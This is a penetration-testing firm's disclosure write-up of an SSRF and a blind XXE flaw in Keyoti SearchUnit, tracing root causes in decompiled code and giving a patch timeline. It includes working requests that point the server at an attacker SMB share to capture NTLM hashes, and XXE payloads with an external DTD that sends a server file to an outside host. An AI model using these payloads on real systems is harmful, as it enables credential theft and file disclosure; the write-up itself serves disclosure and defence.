The search bar—once a hacker's favorite entry point for low-hanging fruit like Reflected XSS (Cross-Site Scripting) has lost some of its appeal in recent years. Like anything that has been relentlessly targeted on the web, search bars are significantly a more hardened function in web applications. It's widely understood that user-supplied data entered into the search field is untrusted, and since this functionality is often exposed to limited privilege or unauthenticated users, it must be designed to handle a broad range of character sets safely.
But not all search functions are created equally.
Some allow for different filters to be applied through separate parameters (sortBy
, endDate
, startDate
, etc.), while others embed filtering capabilities directly into the query syntax (Shodan’s port:
or Googles intitle:
as examples) Even so, this kind of functionality is relatively well-known, widely implemented, and thus heavily scrutinized.
So, what else might be passed along with a search query in an HTTP request?
I am confident there are many valid answers in the vast world of technology, but we typically don't see much more passed from the client to a server-side search function besides the aforementioned. However, Sprocket Security recently identified a case where the search functionality on a target site included unexpected parameters. Parameters that, when manipulated, led to SSRF (Server-Side Request Forgery/RFI (Remote File Inclusion))-like behavior.
Furthermore, Sprocket Security was able to find an additional XXE (XML eXternal Entity) vulnerability. When chained, these vulnerabilities allow for local files to read from the underlying server. Even worse, if the web service is running in the context of a service or user account, that accounts NTLM hash will be passed compromised, leading to the classic NTLM attacks like cracking and relaying.
A Closer Look
Digging just a little deeper, it became evident that the root of the vulnerabilities were both related to Keyoti SearchUnit - an "ASP.NET Web Forms & MVC Search Engine". This explained why the feature-set wasn't as simple as we typically see.
The product is a full-fledged search engine you can bolt onto your ASP.NET web application in just a few quick steps. It allows for you to index content of your own choosing, be it one’s own content, or content from other web sources.
Once we identified this, Sprocket began the responsible disclosure process with Keyoti. We are happy to say that they were very responsive and accepting of the information we presented - not something that happens with every software vendor unfortunately! Not to mention - very quick to patch!
To reproduce and fully document the vulnerabilities, we created a "bare-bones" .NET app, bolted on the Keyoti SearchUnit engine, and indexed some random public content. This re-created the vulnerable environment in a "lab" setting to complete the detailed write-up below.
Bug 1 - SSRF (CVE-2025-44043)
The deep dive into the "potential" for vulnerabilities in the search functionality began when we observed the HTTP POST request that resulted from a simple search on one of our clients’ websites. The request looked something like:
POST /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetResults
HTTP/1.1 Host: 192.168.1.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 312
Origin: [http://192.168.1.113](http://192.168.1.113/)
Connection: keep-alive Referer: [http://192.168.1.113/webform1](http://192.168.1.113/webform1)
Cookie: __AntiXsrfToken=2b3da2f16b3d4bd2aa265f3123b863c6 Priority: u=0
{
"indexDirectory":"~/Keyoti_Search_Index",
"query":"test search",
"resultPage":1,
"resultsPerPage":10,
"locationName":"",
"contentNames":[],
"securityGroupNames":[""],
"filterCollection":[],
"sortBy":null,
"language":"",
"customDictionaryPath":"",
"spellingSuggestionSource":""
}
The indexDirectory
parameter sticks out to us pentesters, especially given its pre-populated value looks like a local directory on the web server. Why not immediately attempt a directory traversal to see if we can read local server files?
A notable error we get can be seen in the example response below.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Tue, 03 Jun 2025 19:47:09 GMT
Content-Length: 1422
{"d":{"__type":"SearchResultWrapper:#Keyoti.SearchEngine.Web.AjaxService","Edition":0,"Exception":"Directory holding C:\\Users\\DEMO\\source\\repos\\Keyoti3\\Keyoti3\\usr\\local\\apps\\apache\\conf\\httpd.conf\\configuration.xml does not exist and needs to be created first.\r\n at Keyoti.SearchEngine.ConfigurationManager..ctor(String indexDirectoryPath)\r\n at Keyoti.SearchEngine.Web.SearchResultPreviewHelper.GetCachedConfig(ICache cache, String indexDir)\r\n at Keyoti.SearchEngine.Web.AjaxService.a.a(String A_0, String A_1, Int32 A_2, Int32 A_3, String A_4, String[] A_5, ICache A_6, FilterCollection A_7, String[] A_8, String A_9, String A_10, String A_11, String A_12, String A_13, String A_14, String A_15, FilterLoadLevel A_16)\r\n at Keyoti.SearchEngine.Web.AjaxService.WCF.SearchService.GetResults(String indexDirectory, String query, Int32 resultPage, Int32 resultsPerPage, String locationName, String[] contentNames, FilterCollection filterCollection, String[] securityGroupNames, String sortBy, String language, String customDictionaryPath, String spellingSuggestionSource, String filterLoadLevelStr)\n\n\n(You are seeing error details because the application's web.config has appsetting, 'Keyoti-SearchEngine-ShowDetailedErrors' set true.)","IgnoredWords":null,"LiveDataSamples":null,"NumberOfResults":0,"QueryKeywords":null,"Results":null,"SuggestedSearchExpression":null}}
The verbose error message helps guide our next logical steps. We can see that we are getting the web server to look into different local folders on the web server outside of the web root and even in other local drives. This begins to reveal quite a bit of information.
Looking over the bug alongside my colleague, Principal Penetration Tester Ron Edgerson, he stated "An attacker could abuse this vulnerability to determine whether a file or directory exists on the underlying operating system based on improper error handling and/or response times. For example. entering C:\windows\system32\
... the response indicates that access to the path is denied, confirming that it is valid and exists. Additionally, by analyzing the response time to assess how long a request took can verify whether the file or directory is valid - more generally speaking."
If we jump back to that error, "configuration.xml does not exist and needs to be created first," we can assume that ~/Keyoti_Search_Index
probably has a configuration.xml
file. When we start specifying other directories - the error tells us, "Hey - there isn't a needed file here".
It is worth noting that verbose errors are only visible when this is set in web.config
:
web.config
<appSettings>
<add key="Keyoti-SearchEngine-ShowDetailedErrors" value="true" />
</appSettings>
It's not uncommon for verbose error findings to be taken less seriously when reported in a pentest. They are not usually a means of direct exploitation. However, anybody who has been in offensive security long enough knows, these breadcrumbs can be gold for hackers who are often blindly probing a code base through all available means to determine what might happen that shouldn't.
So far, our explanation on CVE-2025-44043 may seem mostly like information disclosure based on verbose errors - and those can simply be turned off. So is this a CVE given the vendor support disabled them? Rather, at this point we have a misconfiguration by seeing verbose error messages enabled in production.
However.
Instead of a path traversal payload such as ../../../
, could we supply something like \\\\{attackerSMBServer}\\SHARE\\
and get an SMB connection to an attacker server? Assuming port 445 is open all the way from the vulnerable server to the attackers SMB server, the vulnerable Keyoti SearchUnit host will indeed make an SMB connection to the attackers SMB server. This begins the dangerous escalation of what initially appears as a verbose error leading to directory and file existence enumeration.
The first time we supplied the above payload and got a connection back on SMB, we looked for what most pentesters look for when coercing an SMB inbound connection, "Did it try to authenticate?" If so, we might have some credentials or at least hashed credentials to start playing with. In addition, we would now know what service account is running the vulnerable service too.

In this case, an Administrator
account was used to run the Keyoti IIS Application Pool. It is that user who we snag NTLMv2 credentials for! This is already a great PoC on its own. We can force the Keyoti engine to connect to our attacker-controlled SMB server and obtain hashed creds. NTLMv2 hashed creds can frequently be cracked or in some cases relayed (to be used without cracking).
We could still be dead in the water though in a "live" scenario. What if the accounts hashed creds don't crack? Can’t be relayed to any exposed services that accept NTLM? Or simply, aren't valid for any exposed services?
Remember that configuration.xml
file? The one that the verbose error would tell us is missing when we pointed the indexDirectory
to another readable directory that didn't contain a configuration.xml
? Well, that error stuck its head back up when we referenced our attacker SMB server.
Directory holding \\\\{AttackerSMBServer}\\tmp\\configuration.xml does not exist and needs to be created first.
Well, we could just create one now that we control the contents of the directory we are pointing Keyoti at! The issue is, we don't really know what that configuration file should have in it but right as that logic starts to form, we notice something odd...

... we didn't put that there. But interesting, it is a COMPLETE Keyoti configuration.xml
file!

Call it the "inner hacker" in us, but that "Logging" section having a value of False
seemed like an easy switch to flip.
We modify the value to: <Logging>True</Logging>
and then, since it seems like Keyoti is specifically looking for this file, maybe we will get a different result this time when we send the POST
request again?
"Exception":"A fatal data access exception occurred because the number of data access exceptions reached the user defined threshold, this has prevented further operations.
Yes. But now what?
We check back on our SMB share to see if by enabling "logging", any additional files are dropped.

Well, look at what we have here...Let’s see if these .txt files are logging anything else helpful to keep us going in the right direction.

Perfect. Now by enabling logging in the configuration.xml
file on our attacker server we were able to prove that Keyoti parses our configuration.xml
file by the presence of the additional files! We see inside one log file that now Keyoti is complaining that we don't have a file called Location.xml
. This error is visible in the XmlTable.txt
log file.
At first, we think, "what happens when we add Location.xml
?" We don't have a properly formatted/expected version of that yet. That thought is quickly washed away by the thought of, "Wait, this server is parsing XML that we control. Why not play with the possibility of XXE?"
But before we dive into Bug 2 - XXE, let's pull down a copy of Keyoti SearchUnit and decompile the .dll's with JetBrains dotPeak to see if we can find any root cause in the SSRF/RFI-ish behavior.
A quick string search in dotPeak ctrl + atl + t
for configuration.xml
gives us a short list of hits to narrow down on. In a matter of seconds we traced the behavior back to the ConfigurationManager
constructor within the Keyoti4.SearchEngine.Core
assembly.
Keyoti4.SearchEngine.Core.dll - ConfigurationManager.cs
/// Creates a new instance.
/// If a configuration.xml file isn't found, it is created with default settings.
/// The index directory path
public ConfigurationManager(string indexDirectoryPath)
{
this.b = indexDirectoryPath.ToLower().EndsWith(".xml") ? indexDirectoryPath : Path.Combine(indexDirectoryPath, "configuration.xml");
if (!Directory.Exists(Path.GetDirectoryName(this.b)))
throw new DirectoryNotFoundException("Directory holding " + this.b + " does not exist and needs to be created first.");
if (File.Exists(this.b))
return;
this.CreateConfigurationXmlWithDefaultSettings(Path.GetDirectoryName(this.b));
}
There you have it. Straightforward!
The constructors’ job is to look for the configuration.xml
file in the specified indexDirectory
and if it isn't there it attempts CreateConfigurationXmlWithDefaultSettings
, which is precisely the behavior we initially observed.
Bug 2 - XXE (CVE-2025-44044)
Our last screenshot is probably the best place to pick up for the XXE breakdown.
Recall that our log file told us we were missing a Location.xml
file after we sent that POST request to /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetResults
with the logging enabled in our Configuration.xml
file. However, there was a more straightforward POST request we notice also is in our Burp Proxy History that we hadn't played with yet.
POST /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories HTTP/1.1
Host: 192.168.1.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 42
Origin: [http://192.168.1.110](http://192.168.1.110/)
Connection: keep-alive
Referer: [http://192.168.1.110/WebForm1](http://192.168.1.110/WebForm1)
Cookie: __AntiXsrfToken=b9916fdc283f4cd09d2fa7983a96bd3c
{"indexDirectory":"\\\\{attackerSMBServer}\\tmp"}
You know what they say about "rabbit holes" in the world of vulnerability discovery and exploit development... so before we went too much further with the Location.xml
file - we send the above POST to /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories
and check for any additional logging information on our SMB server.
This time around it looks like the XmlTable.txt
log is telling us that the Keyoti engine failed to read Content.xml
- which makes sense as we also do not have that file hosted (yet). At this point we want to drill down on the potential for insecure XML parsing, and we use a maliciously crafted XML file to test this theory out. If the Keyoti engine insecurely parses the XML, then we should have an OOB/Blind HTTP hit to our collaborator server at the URL supplied in the XML document as an external entity.
Content.xml - Blind XXE Confirmation
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://collaborator.example.foo.bar/test">
]>
<foo><bar>&xxe;</bar></foo>
During the initial discovery, this worked immediately. Our collaborator server got a hit - indicating that the XML parser was insecure in resolving untrusted external entities. During the lab-recreation something funny happened though - and it made for a great little side-quest.

The SSRF (BUG #1) was reproduced instantly in the lab environment with no issues. But recreating the XXE bug in our lab proved to be problematic at first. It was one of those moments where you had to second guess your work, ensure you didn't accidentally document the wrong working payload, and go back through everything just to come up short-handed. Thankfully, the hacker-can-do attitude creates perseverance routinely in our world and we pinpointed the issue.
In newer variants of the .NET Framework (post-4.5.2 and post-4.0, respectively), changes were made to the default behavior of XmlResolver
and DtdProcessing
so that developers would have to intentionally introduce insecure XML & DTD parsing behavior. Otherwise it is "secure by default". However, to account for insecure deployments in "insecure by default" versions of .NET (in regard to XML parsing), it is the developers’ responsibility to prevent the weakness.
This was an interesting realization and told us that the original target must have been on an old .NET framework. To confirm we checked our lab environment and realized we were past the patched .NET insecure default and sitting on version 4.8.1.
While being up to date is great for production, it's bad for vulnerability recreation. So, we could roll back to .NET 4.5 and try again, right? We rebuild the project with the vulnerable .NET framework and try again. Sure enough,The Collaborator server received an HTTP request.
when we tried the Content.xml - Blind XXE Confirmation
payload again.

This confirms that Keyoti SearchUnit is vulnerable to XXE when the .NET Framework version it was built with is any version prior to those discussed above. Much like the SSRF bug, we can dig into the Keyoti assemblies to see if we can pin this down too. This bug took a couple more steps to trace down than the SSRF configuration.xml
file-write we found in the first bug we worked through.
Going back to the trusty string search capability in dotPeak, we look for instances of content.xml
to see what operations take place on our untrusted xml. This lands us in XmlContentTable.cs
(of the Keyoti4.SearchEngine.core
assembly) where we can see all sorts of operations that take place in relation to the Content.xml
file. Attempting a source-to-sink on this bug, we first see that within GetContentCategories()
there is a call to a helper method this.a()
.
Keyoti4.SearchEngine.Core.dll - XmlContentTable.cs
/// Returns list of contents known in the 'database'.
/// ArrayList of ContentCategoryRecord objects
public virtual ArrayList GetContentCategories()
{
ArrayList contentCategories = new ArrayList();
try
{
XPathNodeIterator xpathNodeIterator = this.a().CreateNavigator().Select("ContentCategories/ContentCategory");
We then see XmlContentTable.a()
which calls ReadTable()
with this.GetType().ToString();
.
Keyoti4.SearchEngine.Core.dll - XmlContentTable.cs
private XmlDocument a()
{
this.xmlDoc = this.ReadTable(this.GetType().ToString());
return this.xmlDoc;
}
When we dive in to ReadTable()
, we start to get a better picture of the sink. Notice that the file path path =
is constructed using that IndexDirectory
value which we are controlling via the JSON parameter indexDirectory
in our POST requests. That is certainly part of the issue, but more specific to how the untrusted XML delivery is possible.
More importantly, as we continue down the code, we can see that once the ReadTable
method confirms that file exists, XmlTextReader
opens the untrusted Content.xml
file we are hosting and then loads it with xmlDoc.Load()
. In other words, XmlDocument.Load
will trigger on our Content.xml
!
Keyoti4.SearchEngine.Core.dll - XmlTable.cs
protected virtual XmlDocument ReadTable(string objectType)
{
string path = "";
try
{
if (this.xmlDoc == null)
{
string[] strArray = objectType.Split('.');
string str = strArray[strArray.Length - 1];
path = Path.Combine(this.Configuration.IndexDirectory, str.Substring(3, str.Length - "xml".Length - "Table".Length) + ".xml");
if (!File.Exists(path))
throw new InvalidOperationException("File " + path + " doesn't exist");
this.xmlDoc = new XmlDocument();
XmlTextReader reader = new XmlTextReader((TextReader) new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read)));
this.xmlDoc.Load((XmlReader) reader);
reader.Close();
}
}
So, what is the issue with XmlDocument.Load
you might ask?
Well, to tie this concluding point on the XXE sink to the side-quest we discussed, XmlDocument.Load()
when used directly (no application mitigation) on .NET ≤ 4.5.1, XmlResolver
= enabled.
So, when the app calls XmlDocument.Load()
, it:
- Expands external DTDs
- Resolves SYSTEM entities (e.g.,
file://
,http://
,\UNC
)
Potentially Resulting in:
- File read (XXE)
- Outbound HTTP/SMB connections (OOB)
- NTLM hash leakage
- Blind SSRF
TLRD; on the RCA for the XXE:
[We searched assemblies for: "Content.xml"]
↓
XmlContentTable.GetContentCategories()
↓
XmlContentTable.a()
↓
XmlTable.ReadTable()
↓
XmlTextReader + XmlDocument.Load()
↓
Parses attacker-hosted Content.xml
↓
XXE Triggered → OOB request
Exploit Chain/POC - SSRF + XXE for Server File Read
Finally, we can get to weaponizing the exploit in our lab (the juicy stuff)! Our new Content.xml
file below will attempt to exfil the C:\Windows\win.ini
file for proof of concept and ends up looking like this:
Content.xml - FAILED ATTEMPT data exfil
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY send SYSTEM "http://collaborator.example.foo.bar/?leak=&file;">
]>
<data>&send;</data>
It was exciting to see another hit to collaborator from the above payload BUT the impact was no further as no file contents ended up in the GET request:

Working through the standard XXE payload methods for data exfiltration, we decide on the DTD
method. DTD
, or Document Type Definition, is a file that defines the structure/elements/attributes of an XML document. These can be embedded into an XML document either internally or externally.
For our needs, it turned out that adding an external DTD reference evil.dtd
was just the trick we needed for data exfil. This meant we needed two files and two services running.
Content.xml - Hosted on attacker SMB server
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % dtd SYSTEM "http://foo.com/evil.dtd"> %dtd;
]>
<data>&send;</data>
evil.dtd - Hosted on attacker HTTP server
<!ENTITY % all "<!ENTITY send SYSTEM 'http://collaborator.example.foo.bar/?collect=%file;'>">
%all;
Final POST to Keyoti
POST /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories HTTP/1.1
Host: 192.168.1.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With:
XMLHttpRequest
Content-Length: 49
Origin: [http://192.168.1.113](http://192.168.1.113/)
Connection: keep-alive
Referer: [http://192.168.1.113/webform1](http://192.168.1.113/webform1)
{"indexDirectory":"\\\\{attackerSMBServer}\\tmp"}
C:\Windows\win.ini retrieved


Conclusion & Remediation
This was a fun adventure in .NET web application exploitation. We as hackers tend to have to remind ourselves, occasionally, that just because something hasn't worked for us in a long time, doesn't mean it will never work again; like hacking pre-auth search bars for example!
As we work closely with our clients to ensure a timely remediation of bugs and vulnerabilities, Sprocket Security reached out directly to Keyoti well in advance of public notice or CVE submission to ensure Sprocket Security clients had full patching capabilities before the exploit details went public. We encourage all organizations to update to the newest release of Keyoti SeachUnit (v.9.0 at the time of this writing) as per the SearchUnit Release notes.
Fix security issue where IndexDirectory can be set to an SMB shared path from the client side. To protect against this SMB paths are not accepted by default for the IndexDirectory.
https://keyoti.com/products/se...
This fix, ideally, will prevent the XML parsing from reaching untrusted XML. Therefore, protect against the XXE bug as well. It is not clear if additional code has been added to mitigate the risk of XXE in pre .NET 4.5.2 deployments at this time, or if the indexDirectory
restriction is considered the complete fix. With that being said, anything prior to .NET Framework 4.6.2 is no longer supported by Microsoft. While the application itself can be possibly hardened for more secure XML parsing, it is highly suggested to move to a modern and supported .NET framework anyways!
Does your organization have exposed or internal web applications you are concerned about? Contact us!
Timeline
02/28/25 - Bug found in client’s environment. Started Responsible Disclosure with Keyoti.
02/28/25 - Response from Keyoti asking for details.
03/01/25 - Provided details to Keyoti for both the SSRF and XXE issues.
03/03/25 - Vendor offers emergency patch for client either as a configuration change or as a new MSI. (This was an awesome response!)
03/10/25 - Keyoti SearchUnit v.9.0 release notes shared from Vendor (public notice).
03/11/25 - CVE submissions for SSRF and XXE in Keyoti prior to v9 (automated response).
04/07/25 - Ping MITRE about the CVE submissions as there has been no response.
04/26/25 - Ping MITRE about the CVE submissions as there has been no response.
05/19/25 - Ping MITRE about the CVE submissions as there has been no response.
05/29/25 - Ping MITRE about the CVE submissions as there has been no response and CC'd cve@mitre.org
.
06/02/25 - Response from MITRE. CVE's reserved. "Use CVE-2025-44043" and "Use CVE-2025-44044".